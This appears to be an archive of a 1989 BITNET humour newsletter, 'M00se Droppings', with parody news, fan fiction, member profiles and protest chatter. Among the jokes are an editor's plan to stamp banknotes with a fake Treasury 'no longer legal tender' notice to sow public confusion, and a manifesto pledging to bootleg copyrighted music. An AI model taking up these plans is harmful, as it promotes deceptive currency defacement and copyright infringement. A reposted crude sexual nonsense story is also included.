Bronx thought she said "Yo! When's the next train?"
Elvis Presley, Consort to The Dark Queen, met on the field of battle
with King Richard of the Low Body-Fat Content. The battle was long and bloody,
but in the end King Richard was successful, thwarting Elvis' hip thrusts
with a springing leapt over the over-weight ex-singer-turned-love-slave,
landing on his shoulders and screaming into his ears at an incomprehensibly
annoying pitch. As a result, large sections of Western Europe are now under
the control of King Richard.
August:
Ever single televangelist on Chearth [Earth renamed by The Dark Queen]
was struck dead instantly by a blast whose origin is estimated to have come
from the moon. The moon is the area believed to be the new abode of
High Lord Trelf, figure of legend who some believe is now back in this
universe and is hoped to come back to the land and depose The Dark Queen.
While leaving a New York hotel, Bob Geldoff was shot in the head
42 times. This did not even make the trailer story of the evening news.
Surprisingly, the trailer for the evening news that night told the
story of Irma Lipshutz, an elderly Philadelphia women who had taught
her pet pit bull too {**CENSORED DUE TO OBSCENE LANGUAGE, PERVERSE
NOTIONS, AND THE TAKING OF THE DARK QUEEN'S NAME IN THRAIN**}
That's all for now, ladies, gentlemen, m00ses, and others......
--------------------------------------------------------------------------------
*************************** M00SCELLANEOUS NONSENSE ****************************
--------------------------------------------------------------------------------
A friend of mine and I were shooting the breeze the other day and we came up
with an idea on how to start a new country. A group of people would purchase
an uninhabited island from Great Britain with the intention of setting it up as
an independant nation within the British Commonwealth (similar to Australia or
Canada). I am looking for advice on how to raise capital, who to contact
within the British government, which island would be best, or whatever else I
(and whoever I am working with) need to know.
I am serious about doing this, so unless you are willing to actually work,
please don't bother responding to this. This is not meant to insult anyone,
but I'm just trying to discourage those who would not be fully commited to the
cause.
I await your replies.
Joe Claffey
CLAFFEY_JOR at CTSTATEU
- - - - - - - - - - - - - - - - - - - - - - - - - - -
Folkses...and you others,
Greetings! Lord Trelf here. Just had some thoughts I wished to share
with you all...
In the last issue, Spaceman Biff [May his Foster's Can never Empty,
and may his Samuel Smith Taddy Porter never lose it's Tad!!] put
forth his thoughts on the evolution of chest hair on certain members
of the male gender of the human species. [Of which I am proud to be a member,
sporting such a fine weave of hair on my chest that I do...]
I do not wish to refute the Biffer's findings, as I'm sure they are true,
but I wish to present what I think to be a logical albeit paranoid explanation
for the bushy male chest. Now think, all you out there with hair on your
chest: When a woman gets mad at you, what's one of the first things she does,
should you be so unlucky as to be wearing an open shirt, or worse yet, no
shirt at all? Why, she immediately starts pulling you around by your chest
hair! [And only someone with a truly hairy torso can understand the pain
this involves] Now think: Could it be, dear friends, that male chest hair
may have been placed there BY women, to give them yet something else
to drag us around by?
Now, I know you are all saying that I'm being paranoid, but think about
It. Why do only MEN have chest hair? Why do only women pull men around BY
their chest hair? Food for thought....[Or maybe Follicles for Frollicking?]
Yours incogneato,
His High Holy Lord Trelf
- - - - - - - - - - - - - - - - - - - - - - - - - - -
More trek...from wesleyan...
Data:Captain, there is an alien life form on your head!
Picard:Nonsense, Data. I simply have a (sigh) full head of hair again.
Data:Nevertheless, it could be dangerous. I suggest we go to the medlab for
some tests.
Troi:Captain, I am feeling...
Riker:You're feeling Wesley. Hands off, kid.
Wesley:Gosh, sir, sorry.
Worf:Hmmm. Giordi, is this look ME?
Giordi:Looks good to me, Worf.
Data:Captain, I must insist. If nothing else, the Chief Medical Officer has
not yet appeared in this episode, and this provides an opportunity for
your smoldering potential romance to receive more screen time.
Picard:No, I can handle this. As you were. Number one, you have the helm.
{Captain's Cabin}
Wesley:Knock knock
Picard:Come, no no, stop thinking about Troi, ensign.
Wesley:Yessir. Well, sir, I was wondering about the alien life form you have
on your head.
Picard:Yes, what about it?
Wesley:Well, sir, Troi says she feels unhappiness radiating from it in great
waves, sir. The one on Worf is apparently happy, but yours is ill,
sir.
Picard:Nonsense, Wesley. I have perfect faith in Counselor Troi's legs, make
that abilities, but this time she is mistaken.
{The alien life form slides off Picard's head, obviously kaput}
Picard:Medteam to the Captian's quarters on the double. Emergency!
{Close with closeup shot of Picard's anguished face}
--------------------------------------------------------------------------------
******************************* MEET THE M00SES ********************************
--------------------------------------------------------------------------------
Chapter Name : Philip D. Noah
Nick name(s) : Arizona
M00se nick : Arizona M00se
M00se's name : Claudette
Net Address : bitnet : in%"V115GWE6@UBVMS.BITNET"
: wwiv net : 295 @ 7654
Sex : x_ male __female __No, I'm British
Purity Quotient : 81 %
Description : I stand almost 2 meters tall (6' 3")
and weigh about 63 Kg (140 lb). Blue eyes
and blondish/brown hair.
Favourtie saying: Fair's Fair.
Likes : M00se watching, reading M00se droppings
having lunch with pretty m00se's, Bl00ping,
,watching old movies and doing fun m00sey things.
Why I do what I
do : Well someone has to be me....and no one else
wants to be me so i'm stuck with the job.
Famous last words: Can't think of anything else to put down.
Bl00P !
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_ /\ _ _ /\ _
/ \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \
\_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/
/ \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \
/ \__/ \ M M M 0// 0 0// 0 S E / \__/ \
/__________\ M M 0000 0000 SSSSS EEEEEEE /__________\
DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS
D D R R O O P P P P I NN N G S
D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS
D D R R O O P P I N NN G G S
DDDD R R OOOO P P IIIII N N GGGG SSSSS
A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE
M00SE ILLUMINATI
Issue #30| Disclaimer: The Editors will place almost anything | Nov 1, 1989
---------- in this newsletter out of a frantic desire to fill ---------------
the issue, so don't blame them for the quality or content of the submissions.
Excepting those they may have written themselves, the enclosed items do not in
any way represent the Editors' opinions. In fact, let's be real safe, and say
that as far as this newsletter is concerned, they have no opinions at all. OK?
================================================================================
--------------------------------------------------------------------------------
**************************** EDITORIALS AND LETTERS ****************************
--------------------------------------------------------------------------------
Hi!
Bl00p to all, and all that rot. ;^)
In case you are wondering why this is the Pirated Issue, it is because
I, Patrick Salsbury, a.k.a. DangerM00se, a.k.a. WarM00se, have taken over the
editorship of this here fine newsletter! It all began a week or so back, when I
got this letter in the mail.
Oh! I remember it so clearly! I was sitting with RiffM00se on some
throw-pillows in my apartment, madly trying to learn how to play ILLUMINATI!, by
Steve Jackson Games, when this message appeared on my screen....
**************************BEGIN MISTY DREAM SEQUENCE****************************
Date: Fri, 20 Oct 89 13:48 EDT
From: "Running on coffee and willpower." <DICKSON@HARTFORD.BITNET>
Subject: Hi Pat...
To: v291nhtp@UBVMS.BITNET
Pat, let's say you happened to gain control of the most powerful literary
propaganda newsletter in the world. One that, theoretically, was mailed out
to a bunch of people on BITNET once a week. How good a job do you think you
could do at revitalizing the not-so-ancient-but-extremely-powerful M00se
Illuminati?
If you catch my drift....
Later,
Bill
***************************END MISTY DREAM SEQUENCE*****************************
...Yeah. It's still clear in my mind, as if I had just read it again. :)
ANYWAY! There you have it. The M.I. was in a slumber, but I have come to
awaken thee! (The WHAT? you might ask, to which I will deftly reply: "Don't be
so damn literal!)
In any event, this issue is coming from my own personal archives of
weirdness, the bowels of my literary directories, and such. I only have enough
stuff in there to make about 17 more issues of 'Droppings, so I suggest you all
start submitting things real quick! Or else you'll suffer!... ;^)
-Patrick Salsbury
-DangerM00se
-WarM00se
-Etc.
V291NHTP@UBVMS.BITNET
--------------------------------------------------------------------------------
******************************* EVENTS AND NEWS ********************************
--------------------------------------------------------------------------------
What with the new location of M.D. Headquarters being in the lo-cal
(diet permeates all of our society nowadays) of the UB GIGATHR0NG at the State
University of NY at Buffalo, and seeing as I am the Bull M00se and FOUNDER of
the UB *GIGA*THR0NG, and as *I* was the one who BROUGHT the word of THE GLORIOUS
M00SE ILLUMINATI to ALL of the MILLIONS OF CHEERING MINIONS in **BUFFALO, NY**
...Ahem...Megalomania check!...Ah! That's better! :) Where was I? Oh yes!
Being as we are now in Buffalo, we are going to make production of M.D.
a group effort. (YOU HEAR THAT, GUYS? YOU'RE GONNA *HELP*! ;^) ) Thereby, I
won't freak out of my gourd, and we may even actually get this beast up to a
weekly status!
Right now, I'm taking submissions & such. My address is above. Darkling
M00se is going to handle the Chapter List. So any new chapters or changes should
be reported to him. His address is:
V123NKUX@UBVMS.BITNET
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FLAG-BURNING!
Yes, one of the other recent developments here at UB has been a VERY
active discussion of the new bill against flag-burning. We have been discussing
various means of protesting this bill. From an out-and-out burning, to the
wearing of the flag, draped around us like our President did when he visited the
flag factory while on the "Campaign Trail". This would be, in my opinion, more
in line with the goal of the M.I. of confusing everyone. People couldn't call us
un-American or non-patriotic, and they wouldn't really know how to react to a
flag-wearer! :)
We are considering trying to make this a national event. Getting m00ses
and other similarly minded people (gak! are there OTHERS like us?) to organize
through the Net and all wear flags on their campuses on the same day. Maybe one
of our illustrious staff-reporters here at UB would like to make a report in the
next issue? [Captain Devious, perhaps?] (That's a hint! :-) )
[Just got this from Devious today.]
From: UBVMS::V061REGM "CAPTAIN DEVIOUS" 31-OCT-1989 11:01:06.95
Subj: protest update
Description: flags'n'stuff
FLAG BURNING STATUS REPORT
The Flags: We're getting a bunch of little paper flags from a party store
to burn. I'll find out how much they are, and whoever wants to can
chip in.
The set-up: I have yet to get in contact with the necessary groups. I'm
checking P.S. today or tomorrow, and I'm hoping that Thom will get
me the list of possible groups together.
The date: The protest date is tentatively set back to Friday, 11/10.
The figuring is that a) more people will be in Founder's on friday, and
b) we probably won't get everything together till then.
The hype: The press releases will be done by tomorrow. Send out by this
friday at the latest. A copy will be posted here, on POLITICS, and
wherever else i feel like putting them. I need help with flyers.
The Group: This demonstration will be the kick-off of a new organization,
the Thousand Points of Light. We will be a pro-rights discordian
organization, affiliated with the Secret Society, and possibly the
M-I, A.P.E., and the third church of Eris whatever. (guys, get
back to me on this)
The network: Kidd Vicious and the other S.S. members cross-country will be
notified of these things, and great things will be afoot. Whoever
is in charge of the M-I network should disperse info quickly, also.
more later...
CAPTAIN DEVIOUS!
O
+
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ANARCHY!
We've been promoting anarchy here at UB, also. Having a nice, heated
debate on our POLITICS bulletin board. (And I think we are winning!) Here are
some things I posted:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
The following is an excerpt from "Never Whistle While You're Pissing", by
Hagbard Celine, as quoted in "The ILLUMINATUS! Trilogy", by Robert Shea and
Robert Anton Wilson. (pp. 622-624)
DEFINITIONS AND DISTINCTIONS
FREE MARKET: That condition of society in which all economic
transactions result from voluntary choice without coercion.
THE STATE: That institution which interferes with the Free Market
through the direct exercise of coercion or the granting of privileges (backed by
coercion).
TAX: That form of coercion or interference with the Free Market in which
the State collects tribute (the tax), allowing it to hire armed forces to
practice coercion in defense of privilege, and also to engage in such wars,
adventures, experiments, "reforms," etc., as it pleases, not at its own cost,
but at the cost of "its" subjects.
PRIVILEGE: From the latin /privi/, private, and /lege/, law. An
advantage granted by the State and protected by its powers of coercion. A law
for private benefit.
USURY: That form of privilege or interference with the Free Market in
which one State-supported group monopolizes the coinage and thereby takes
tribute (interest), direct or indirect, on all or most economic
transactions.
LANDLORDISM: That form of privilege or interference with the Free Market
in which one State-supported group "owns" the land and thereby takes tribute
(rent) from those who live, work, or produce on the land.
TARIFF: That form of privilege or interference with the Free Market in
which commodities produced outside the State are not allowed to compete equally
with those produced inside the State.
CAPITALISM: That organization of society, incorporating elements of tax,
usury, landlordism, and tariff, which thus denies the Free Market while
pretending to exemplify it.
CONSERVATISM: That school of capitalist philosophy which claims
allegiance to the Free Market while actually supporting usury, landlordism,
tariff, and sometimes taxation.
LIBERALISM: That school of capitalist philosophy which attempts to
correct the injustices of capitalism by adding new laws to the existing laws.
Each time conservatives pass a law creating privilege, liberals pass another law
modifying privilege, leading conservatives to pass a more subtle law recreating
privilege, etc., until "everything not forbidden is compulsory" and "everything
not compulsory is forbidden."
SOCIALISM: The attempted abolition of all privilege by restoring power
entirely to the coercive agent behind privilege, the State, thereby converting
capitalist oligarchy into Statist monopoly. Whitewashing a wall by painting it
black.
ANARCHISM: That organization of society in which the Free Market
operates freely, without taxes, usury, landlordism, tariffs, or other forms of
coercion or privilege. RIGHT ANARCHISTS predict that in the Free Market people
would voluntarily choose to compete more often than to cooperate. LEFT
ANARCHISTS predict that in the Free Market people would voluntarily choose to
cooperate more often than to compete.
********************************************************************************
Typed By Patrick G. Salsbury <V291NHTP@UBVMS.BITNET> on Sat., October 28, 1989
********************************************************************************
From: V291NHTP
Date: 28-OCT-1989 22:01:43
Description: RE: Anarchy Definitions
And there you have the definition of anarchy that I work by. When you
look at it, it really isn't all that bad. Granted, we can't have it, given the
current mentality of our society, but that may change someday.
As I typed that in, I realized something rather profound. TRUE
anarchists (not those fools who just go around spraypainting the "A"-in-a-circle
anarchy symbol on walls because it's a trendy thing to do) are Global Citizens.
They feel no fealty to any one nation, but rather think of all humans as equal.
(Unless, of course, they feel slightly smug about being intelligent enough not
to blindly follow a government like sheep. ;^) ) They can think in terms of an
entire planet, whereas "subjects" are confined to thoughts of "us" and "them".
What's more, the planet will never reach a state of true harmony with a
unified, planetary government while people cling to ideas of patriotism and
nationality. Therefore, I put forward the idea that TRUE anarchists are at a
level of maturity where they respect each person's individuality and rights,
and don't need the protective umbrella of a government to "keep them in line".
They have "grown up" and are capable of acting as adults should. Perhaps, as
I've hinted at, TRUE anarchy is somewhere down the road in the direction of
Global Citizenry, where people don't need rules telling them what they can and
cannot do, but they know how to "behave themselves" without threats of penalty.
If that is the case, then anarchists are the next stage in human evolution, and
are just a bit ahead of their time at the present.
-Pat
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
I met some m00ses over the summer at the Sterling Renaissance Faire in
Sterling, NY. I met Lord Trelf, Half-Elf, Scamp (A Scamp-Sighting!), Gypsy-Lynx,
and some others I've forgotten. (Sorry!)
Maybe they will collaberate and write a story/thing about the meeting!
(Boy! If you people aren't catching the hints I'm lobbing at you, you're worse
off than I thought!) I'll add my bit when they submit it to me. :)
-Pat (again)
{Why do I get the
feeling I'm talking
to myself?}
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Oh, This is Halloween, as I write this bit. I realized the significance
of this date, and thought, "maybe I should try to get it out a day early", but
I've been having problems figuring out how to mail it out to all of you people,
so it won't be there on Halloween. :-( (It's 10.27 pm EST, now, so I'm fairly
certain of this. Hell! It may not even be out on the first! Maybe I'm just going
to amuse myself with this, and never be able to mail it out! :-)
-Pat
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
5.52 pm EST, Nov. 2nd. - I hate vague listservs that won't tell me
what's wrong! But Bill Dickson finally figured it out! It just wanted ALL
CAPITALS IN THE RETURN ADDRESS!!! Sheesh. What a stupid machine. Or is it me? :)
--------------------------------------------------------------------------------
***************************** FICTION AND POETRY *******************************
--------------------------------------------------------------------------------
This is from O.D.M00se. See that date? I TOLD you I had lotsa old stuff in my
files! :)
-Pat
Description: Another forgetable post by a certain vogon poet/ltd
From: V109MEN5 Date: 27-JAN-1988
ltd....the poem
ltd and fisheggs
ltd and dead sparrows
ltd and jimmy hoffa
ltd and the key grip from the making of the making of the filming of Jaws
ltd and ford motor company
green sausages
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Date: Wed, 11 Oct 89 23:56:00 EDT
From: "L. Daniel York" <D_YORK@UNHH.BITNET>
Subject: *joke* Fish Spill at Exxon
Sender: "Biosphere, ecology, Discussion List" <BIOSPH-L@UBVM.BITNET>
From: UNHH::M_SANGILLO 11-OCT-1989 16:52:50.70
To: D_YORK
Subj: Fish Spill Hits Exxon
|
| ALASKA PRESS INTERNATIONAL
|
| In a tragic accident at the Exxon corporate headquarters, the fish
| truck Prince William Express slammed into the side of the main
| building of the new corporate headquarters, spilling more than 20
| tons of dead herring, salmon, sea otters and various other wildlife
| onto the pristine lawn of the Exxon complex.
|
| Skipper Joe Woodhead was passed out in the sleeper compartment of the
| state-of-the art fish truck when the truck struck the clearly marked
| building. "Bobo", the skipper's dog, had the wheel at the time of the
| accident. Bobo, whose certification does not permit him to drive
| on planet earth, was unavailable for comment, and confirmed sources
| suggest he has a history of drug abuse.
|
| The skipper contends that he was not drunk at the time of the accident,
| but when he realized the seriousness of the spill he ran out to a
| local tavern and pounded down a half-dozen beers. Woodhead also
| contends that he told Bobo to give him a "Bud Light" not a "hard right."
|
| The President of Prince William Express Co. said that they would assume
| full responsibility for the spill and would submit a plan in about a
| month on the proposed clean-up procedure. He also stated that they
| ship over a million tons of seafood a year and that an accident like
| this is just the price we have to pay to eat fish.
|
| When asked about clean-up equipment for such a spill, company
| officials commented that a small pickup with a shovel in it was in
| Gopher Spits, Iowa, but had a flat tire and therefore would be unable
| to be dispatched to the scene.
|
| On the market side of things, fish prices will increase by 20% for all
| species.
--------------------------------------------------------------------------------
From: V061REGM
Date: 6-OCT-1989 09:53:38
Description: Secret Society Manifesto #1
SECRET SOCIETY MANIFESTO #1
---------------------------
BEING disgusted by the constant rip-offs being
perpetrated by such infamous musical institutions such as
Record Theatre, Camelot Records, etc., and
BELIEVING that all music should be done for the sake of
music alone, and not for any personal gain, monetary or
otherwise, and
BELIEVING that all people should be exposed to the
maximum variety of music possible, and
BELIEVING that all music should be available to the
public in general, with no profit gained by any party,
WE, the Secret Society hereby conspire to distribute
all available music to any or all available persons by any
means possible, and
ALTHOUGH this may be in violation of the copyright
laws of the United States and other nations, we propose to
do this by transferring copyrighted material onto blank
audio cassettes and distributing them to whomever desires
them, and by bootlegging until we are busted.
THESE practices shall hereby be known in our circles as
the Secret Society Music Exchange ( SSME - pronounced "sesame" )
SO BE IT!
(signed,)
CAPTAIN DEVIOUS, HIGH PRIEST
KIDD VICIOUS, MAGISTRATE
p.s. If you wish to use the SSME, contact
the Secret Society. If you don't know
who we are, FIND OUT!
O
+
--------------------------------------------------------------------------------
*************************** M00SCELLANEOUS NONSENSE ****************************
--------------------------------------------------------------------------------
I found this on Alt.Sex.Bestiality ( ;^) ) and just KNEW it belonged here! I've
tried to contact this guy, and get his permission, but he hasn't responded yet.
Chalk up another one for the Pirated Issue!
I don't think this guy is a m00se, yet, but I think he belongs! :)
-Pat
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
X-NEWS: ubvmsc alt.sex.bestiality: 9
Newsgroups: alt.sex.bestiality,alt.sex.bondage
Subject: An alternative story
From: sf1@rosemary.cs.reading.ac.uk (Fruitbat)
Date: 24 Oct 89 09:55:41 GMT
Organization: Comp. Sci. Dept., Reading Univ., UK.
Keywords: Fruitbats, leather
Summary: A kinky story
Lines: 56
Daydreams of a kinky fruitbat - All rights reserved
By Steven Fruitbat Foster
Helped, hindered and exhausted by
spo1: Inspiration, leather at 3am and Re: Altruism
shugoffa: For being cute and talking about nymphs a lot
whb1: 'You can't put THAT in your plan!!'
nab1: The sunglasses say it all
dwr1: Well, I HAD to educate him SOMEHOW
nrp1: He'd moan if I didn't mention him
potten@dec: 'A few ideas...'
--------------------------------------------------------------------------
Kinky lubricated leather studded necrophiliac fruitbats liberally
smeared with mashed potato and tomato sauce, marinated at gas mark 4 and
whipped severely with a rubber glove and a sticky thong that has been
used by a band of nubile young wood nymphs glistening wetly in pools of
sun drenched lubricant for purposes of extreme nymphomania with a group
of pleasantly inebriated (and therefore uninhibited) elves practicing
various forms of bondage hanging by thongs from a tree which is covered
with thrash marks from a well-worn riding crop that has seen better days
with more vital and effervescent water nymphs who alas perished one
midsummers morning in the throes of extreme pleasure after experimenting
wildly with a rubber hose and an air compressor that was covered with KY
jelly and many other strange liquids, some of which occur naturally and
others which were stolen by a helpful goblin from the local Tesco to pay
the aforementioned water nymphs for some rather personal services that
they rendered him one day and he doesn't really like to talk about,
although unbeknowst to him there are some photos of the said occasion
currently waiting to be collected in the local photo-processing shop
eagerly awaited by the water nymphs so they can get some more jelly, or
it would have been, if they hadn't all perished that midsummer morning
but luckily leaving the riding crop behind for the benefit of the wood
nymphs and the elves who are still drunken and are now entering a state
of complete uninhibitedness which has caused even the tree to shut his
eyes in shock which is unusual for a tree, as they are usually pretty
thick barked, except, perhaps, this one, which has had most of the
stuffing knocked out of it by the riding crop, which, although it has
seen better days, is still capable of a good thrash, even though one end
needs gluing and the other end is now angled at forty-five degrees, ie,
thoroughly bent, which is what the casual observer would think the elves
were, if he didn't look closely at the wood nymphs on the tree, who were
doing stunningly odd things with paper clips that occur naturally,
seeing wood nymphs don't get served in Tesco for reasons of hygiene, as
they tend to drip various sticky substances over the meat counter, which
doesn't really matter, except for the fact that species discrimination
is very upsetting to various kinky necrophiliac fruitbats who only
really want to be loved and played with very roughly with a riding crop.
----------------------------- Sent to you by ----------------------------
sf1@rosemary.cs.reading.ac.uk | WHERE IS ALT.FRUITBAT!!!!!!!!!
foster%dec.jumbly@com.dec.decwrl@rl.earn | Is a homomorphism a gay lump
jumbly::foster, pobble::foster | of plasticine?
--------------------------------------------------------------------------------
Date: Tue, 31 Oct 89 15:18 EDT
From: "Good for your soul." <DICKSON@HARTFORD.BITNET>
Subject: Submission for M00se Droppings
Ladies and Gentlemen,
I do hereby pronounce Superguy Digest dead. Dangerousman has destroyed
Washington, D.C., and with it all superheroes who were (A) at the convention,
and (B) had no means of escape or protection (in other words, if you want your
character to still be alive, make something up).
All characters who have fallen into disuse are, therefore, dead. The only
surviving character I know of is Dangerousman. The slate is clean.
I hereby announce the beginning of: SUPERGUY II -- THE NEXT SEMESTER. If your
old character survived, start writing again. If you have a new character,
start writing. If you've never had a character, make one up and start writing.
Let's get this thing back off the ground.
Subscribers to this list will of course, be hearing the exploits of
Dangerousman, as he flees the government that created him for destroying their
home town.
But who else will be here? Did Qwyntor throw up a force field? Is the Awesome
Force still lurking around in western Connecticut? What of Trash Man, The
Armadillo? Will Superm00se join in the fun? Is Flatphoot still alive? How
about Punk With A Gun? Did the Stealth Beetle protect him? And what of
Dangerousman's fiancee, the lovely Relativity Woman?
And how about some new characters?
Let's all hope something's going on out there....
Pickle
--------------------------------------------------------------------------------
******************************* MEET THE M00SES ********************************
--------------------------------------------------------------------------------
I don't have any m00se ids.... :-(
-Pat
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*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE ***************
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A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE
M00SE ILLUMINATI
Issue #31| Disclaimer: The Editors will place almost anything | Nov. 03, 1989
---------- in this newsletter out of a frantic desire to fill ---------------
the issue, so don't blame them for the quality or content of the submissions.
Excepting those they may have written themselves, the enclosed items do not in
any way represent the Editors' opinions. In fact, let's be real safe, and say
that as far as this newsletter is concerned, they have no opinions at all. OK?
================================================================================
--------------------------------------------------------------------------------
************************************* STAFF ************************************
--------------------------------------------------------------------------------
Editor - Patrick Salsbury <V291NHTP@UBVMS.BITNET>
Submissions to: DangerM00se <V291NHTP@UBVMS.BITNET>
Back issue requests: WarM00se <V291NHTP@UBVMS.BITNET>
M00se List updates and changes: Darkling M00se <V123NKUX@UBVMS.BITNET>
(This space to let): Contact <V291NHTP@UBVMS.BITNET>
--------------------------------------------------------------------------------
**************************** EDITORIALS AND LETTERS ****************************
--------------------------------------------------------------------------------
Hmm. Back again? Already? It seems like only yesterday I was mailing out
the last issue. (Maybe because it WAS only yesterday, as the @#&%$(@#% mailer
delayed everyting. (Hey, mon, me tinks I'll tok in de JaMAYca occent fo' a bit!)
Naw, too difficult.
Anyway, things seem to be coming along fine, I've gotten some
submissions, and the !#%@%^&($# mailer is FINALLY working, so you should be
getting this crap on a fairly regular basis. We are getting lots o' bouncebacks
from m00ses who have mysteriously disappeared...I think THEY got our fellow
m00ses!
For those of you who HAVEN'T read ILLUMINATUS! yet, I HIGHLY recommend
it! Go and buy a copy NOW! Otherwise, you won't truly appreciate the subversive
stuff we post here. :)
More stuff as I think of it....
-Pat "DangerM00se" Salsbury
<V291NHTP@UBVMS.BITNET>
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Hey! I just realized that it's a Friday, and that 'Droppings usually
comes out on Friday! So, even though I just sent an issue yesterday, I thought
I'd confuse you all and send another! ;^)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
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******************************* EVENTS AND NEWS ********************************
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Here's some thoughts on a way we can really cause some confusion and paranoia.
Anyone know where we can get rubber stamps made up? ;^)
-Pat
[Note: Text with a > preceding is from V115QRJ8@UBVMS - BlAcKDoG]
>Incidentally, following up on what me and Crissm00se were doing one day
>during Western Civ, me and Pat came up with getting rubber stamps, somewhat
>official looking, saying something to the effect that the bill is null&void
>, love, the treasury dept. If we get started we could deface all 20 billion
>odd $1 bills in a few decades. But if other people see them and catch on....
Yeah. I was reflecting a bit on this last night. We put something on a
stamp (with a nice, official looking border) that says:
"This bill has been reclaimed by the Treasury Dept. for destruction. Do
not honor, it is no longer legal tender."
And we start stamping them on all sorts of denominations of currency.
1,5,10,20,50-dollar bills...whatever we can get our hands on. Then we re-release
them into the system. (If we just do it with $1's & 5's, we can put them in
change machines, and then take change back to the back to get more bills! :)
:^)
And the thing is, once people see them, they will try to get rid of
them quickly and surreptitiously. They think that they are committing an
illegal act, and get all guilty and sneaky. They'll start trading them in to
stores and such, with the stamped side face down. Probably not realizing that
reclaimed bills are exchangeable for new ones. :)
And they'll feel like they've had something akin to a counterfeit bill
foisted on them, so they'll feel all cheated. Which will create feelings of
public unrest. And it will eventually make the news and waste lots of time as
they announce to the public that the bills are still legal, and that the
Treasury Dept. doesn't stamp bills, just burns them.
And...
And...
And...I think it's a pretty good idea, don't you? :)
>Tht's one of the great things about money,it shows one of the basic stupidities
>of the capitalist system. If this money is mine....how can it be a crime to
>deface it?! and if it belongs to the gov't, why the fuck am I taking it?
True! Wow! What a great thought! Are we thieves? Or just vandals? :)
-Pat
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***************************** FICTION AND POETRY *******************************
--------------------------------------------------------------------------------
From: V056QKT3@UBVMS
Date: 30-OCT-1989 16:02:02
Description: aaaaack!
And then... it happened.
Not that modern science would ever care, or not even that it would ever get
on the cover of playboy magazine, but I had just discovered the meaning of life,
the fire-side twinkie. That's right, the fire-side twinkie. Have you ever lost
a quarter in your pocket? Actually had it be there one minute, and gone the
moment before? This is the sign of a total mental imbalance, and may be treated
with 27 Alabama Slammers. Not to mention the lint-balls. Ugh!
Ever been to Guilderland NY?
...And you'll never go back, eh? What a shame. Really is a nice place. And
there sure are a lot of cute girls from there, but that is consequential, and
we shall therefore take that into no consideration whatsoever. Understood?
And now it's time for SPORTS!
Today, while fly-fishing, Mr. Jethro Q Walruss-titty was strangled to death.
It seems that a small whirlwind came up while he was casting, and wrapped it
around his neck 68 times.
And now for college football scoreas.
Syracuse 28 NYU 12
Georgetown 9 ABC 2.5
UCLA 22
MIT 3 to the 5th power!
And now a partial score...
Clemson 28
That's the news for this evening.
This is Dan Lather, not signing off.
where's that damn hold button?
I know it's here somewhere....
Is this it?
#$%^&, it wasn't!
Ah, here it is......
l0i0m00se.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
From: V061REGM@UBVMS - CAPTAIN DEVIOUS!
Date: 31-OCT-1989 10:47:31
Description: osmo
SEMI-OFFICIAL M00SE RULES (FALL '89) FOR OSMOKINETICS!
------------------------------------------------------
1) Get together your semi-standard playing equipment: one 9-inch tensegrity,
eleven small steel balls, a towel, four bathtubs, a fresh package
of stale bread crumbs, and the American ambassador to Finland.
(only the first two are required for the basic version of the game.)
2) Place the tensegrity in the middle of the regulation-size playing area,
distribute the balls in accordance with rule, and, taking turns
in a clockwise fashion, starting with the beginning player, play
the game.
3) The object of OsmoKinetics is to play. If you want to win, then quit
(see rule #4) and go play parcheesi with your little sister. Also,
the play is to be as convincing looking as possible; that is, play
as if you were playing in front of a lot of people (which, by the
way, is the best way to play it), and are trying to make them think
there is actually a highly complex set of rules. Actually, the rules
are quite complicated, but that comes later.
4) To quit the game, leave.
5) The game ends when all players quit. This usually happens after a while
if players become bored, distracted, or discover that nobody is actually
watching them. When a game ends, it is generally done.
6) All rules after rule number 5 are complete nonsense and should be ignored,
if possible, or not if you want.
This concludes the semi-official rules of the game of OsmoKinetics,
version Fall '89.
Provided by: CAPTAIN DEVIOUS!
and
Inspired by: PAT SALSBURY
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
From the Superguy list. Submitted by Lord Trelf
Subject: The Armadillo - Chapter One
***DISCLAIMER: Don't blame me or anyone else for anything. I fell down
a flight of stairs at any early age.***
Joe and Ed stood by the trash dumpster, catching a few smokes while on
their ten minute coffee break. The Texas sun was hot on their backs, and the
heat sizzled up from the cement. They were temp workers, and not happy about
it, but as they are only appearing in this story for a few paragraphs, don't
get overly concerned about their plight. They had been busy all morning
at the "Flatfoot Emporium", a retail store specializing in old detective pulps
and videotapes of "The Untouchables" and other similar media products of that
genre. [ For the unenlightened of you out there, the word 'genre' is a term
used by us smart-assed artistic types to mean lots of books, movies or
magazines rehashing the same old stuff.]
Apparently, the Emporium had been bought out by certain members of the PTL
board of trustees, and they were planning on turning the building into a Jim
and Tammy Faye Bakker Memorial Museum, in honor of the now late Bakkers, who
died in a tragic accident involving lengths of rope, a pound of butter, and
97 vials of mascara. This isn't important either, so don't get worried. What
IS important is that Joe and Ed had been ordered to remove all the videos,
magazines, and books from the premises and dump them somewhere, preferably far
away. This is what Joe and Ed had been doing all morning.
Finishing his smoke, Joe tossed it to the ground and crushed it under
his heal. Moving back toward the dumpster, he noticed a rat running out
from the dumpster. It was the same rat they had seen all morning, the one
they had affectionately named 'Willard'. "Gee," said Joe, "that rat seems to
be running off in the direction of Washington D.C."
